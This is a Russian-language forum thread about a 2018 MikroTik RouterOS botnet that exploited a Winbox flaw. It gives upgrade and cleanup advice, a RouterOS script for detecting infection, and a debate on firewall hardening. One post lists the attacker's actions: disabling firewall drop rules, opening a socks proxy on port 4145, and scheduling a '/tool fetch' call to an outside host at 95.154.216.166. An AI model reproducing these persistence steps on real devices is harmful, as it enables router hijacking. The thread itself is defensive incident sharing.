Обнаружен ботнет из устройств MikroTik, использующих старые версии RouterOS (с 6.29 по v6.42.1). В связи с этим необходимо срочно обновить прошивки на всех устройствах, доступных по winbox из интернета. Самый простой способ сделать это - нажать кнопку "Check for updates" в меню System -> Packages.
Крайне желательно проделать следующие шаги в порядке очерёдности:
1. Обновить RouterOS до последней стабильной версии
2. Поменять пароли всех пользователей winbox
3. Восстановить конфигурацию и проверить её на наличие неизвестных настроек
4. Настроить стенку (можно использовать статью )
на самом деле мне продавец прислал, суть ботнета, как я читал сравнительно недавно - меняется трафик таким образом, чтобы в браузерах клиентов считалась криптовалюта.
Второго августа получил рассылку “MikroTik: URGENT security advisory” о том, что некий ботнет использует уязвимость Winbox Service для взлома и заражения устройств.
Из текста рассылки стало ясно, что уязвимость закрыта еще 23 апреля 2018 года в версии v6.42.1. Начал проверять подшефные устройства и нашел несколько роутеров с 6.40.1, один из которых был заражен.
Что делает атакующий скрипт?
— Получает список пользователей через уязвимость (т.е. смена admin на что-то другое не спасает).
— Пытается зайти под всеми полученными логинами и отсеивает заблокированные.
— Найдя активный логин, получает его пароль, заходит в систему.
Затем:
— Отключает все drop правила на файрволле.
— Включает socks (IP – Socks) на нестандартном порте, в моем случае 4145.
— Добавляет скрипт /tool fetch address=95.154.216.166 port=2008 src-path=/mikrotik.php mode=http keep-result=no в System – Scripts
— Добавляет запуск скрипта в System – Scheduler.
— Удаляет существующие скрипты (по сообщениям на форуме Mikrotik).
Атака шла с адреса 95.154.216.151, который принадлежит iomart Hosting Limited, написал им сообщение через сайт, но никакой реакции пока нет, адрес активен.
Адрес 95.154.216.166 так же активен, но файла mikrotik.php на нем нет.
Вот тут можно увидеть сообщения от пострадавших:
Если ваш Mikrotik еще не обновлен и порт Winbox открыт для всех, обязательно проверьте устройство.
1. Проверяем, что активны drop правила в IP – Firewall.
2. Проверяем socks, должен быть отключен и порт должен быть по умолчанию – 1080.
3. Проверяем наличие левых скриптов в System – Scripts и System – Scheduler.
4. Проверяем наличие файла miktorik.php
5. Делаем /export в терминале и проверяем конфигурацию глазами.
Пользователь gotsprings на форуме Mikrotik предложил такой вариант проверки:
Код:
:if ([/ip socks get port] = 1080) do={:log info "Socks port is still Default."} else={:log info "Socks Port changed Possible infection!"}
:if ([/ip socks get enabled] = false) do={:log info "Socks is not on."} else={:log info "Socks is enabled... that could be bad!"}
:if ([:len [/file find name="mikrotik.php"]] > 0) do={:log info "!!!mikrotik.php!!! File Detected!"} else={:log info "mikrotik.php not found."}
:if ([:len [/file find name="Mikrotik.php"]] > 0) do={:log info "!!!Mikrotik.php!!! File Detected!"} else={:log info "Mikrotik.php not found."}
:if ([:len [/user find name="service"]] > 0) do={:log info "!!!YOU WERE BREACHED!!!"} else={:log info "No sign of the service user."}
Open you log and look at the results. If you have a result with "!" you might have a problem.
Очевидно, что очень плохо держать открытый для всех Winbox Service, но в некоторых случаях это случается, не забывайте обновлять свои устройства!
Главный посыл в статье - обновиться. Суть разницы твоего и предложенного варианта в том, что твой решается на уровне софта Winbox, а тот - на уровне ядра.
Твой хорош отсутствием лишних правил на все пакеты. Но там тебе и спуфинг и все такое. А зачем тебе вообще избирательное разрешение и запрет? Пользуйся веб-интерфейсом? Я бы предпочел снаружи вообще все закрыть, открыть только SSH нестандартного порта на какую-то машину внутри, а уже через SSH-socks ходить на веб-интерфейс изнутри. Либо ходить на SSH снаружи, но тогда сканеры банить и использовать нестандартный порт.
Winbox нужен только при восстановлении рутера, когда к нему по IP подключиться нельзя.
OlegON➤ Главный посыл в статье - обновиться. Суть разницы твоего и предложенного варианта в том, что твой решается на уровне софта Winbox, а тот - на уровне ядра.
Твой хорош отсутствием лишних правил на все пакеты. Но там тебе и спуфинг и все такое. А зачем тебе вообще избирательное разрешение и запрет? Пользуйся веб-интерфейсом? Я бы предпочел снаружи вообще все закрыть, открыть только SSH нестандартного порта на какую-то машину внутри, а уже через SSH-socks ходить на веб-интерфейс изнутри. Либо ходить на SSH снаружи, но тогда сканеры банить и использовать нестандартный порт.
Winbox нужен только при восстановлении рутера, когда к нему по IP подключиться нельзя.
Обновится то ясен фиг, веб не юзаю, но к удаленщикам привык винбоксом цепляться потому и вопрос возник в разнице защиты. Либо фаером все закрыть/открыть свои ипы. Либо через AvailableFrom разрешить свои ипы :)
Я бы предпочел второй вариант, наверное... Его труднее случайно открыть.
А вот насчет веба бы подумал... Уверен, что в винбоксе еще сюрпризы могут быть.